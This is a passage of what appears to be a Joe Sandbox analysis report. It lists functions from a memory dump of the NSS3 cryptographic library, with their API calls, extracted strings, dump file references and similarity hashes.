PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

ws2_32.dll, xrefs: 6C71CD75
wship6.dll, xrefs: 6C71CDE3
freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9
getnameinfo, xrefs: 6C71CDB2, 6C71CE23

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12
S&il, xrefs: 6C6762E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF
*,ll, xrefs: 6C6C0DCC

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

extern:, xrefs: 6C6B5CEA, 6C6B5D4B
dbm:, xrefs: 6C6B5D03, 6C6B5D60
multiaccess:, xrefs: 6C6B5CB8
sql:, xrefs: 6C6B5CD1, 6C6B5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

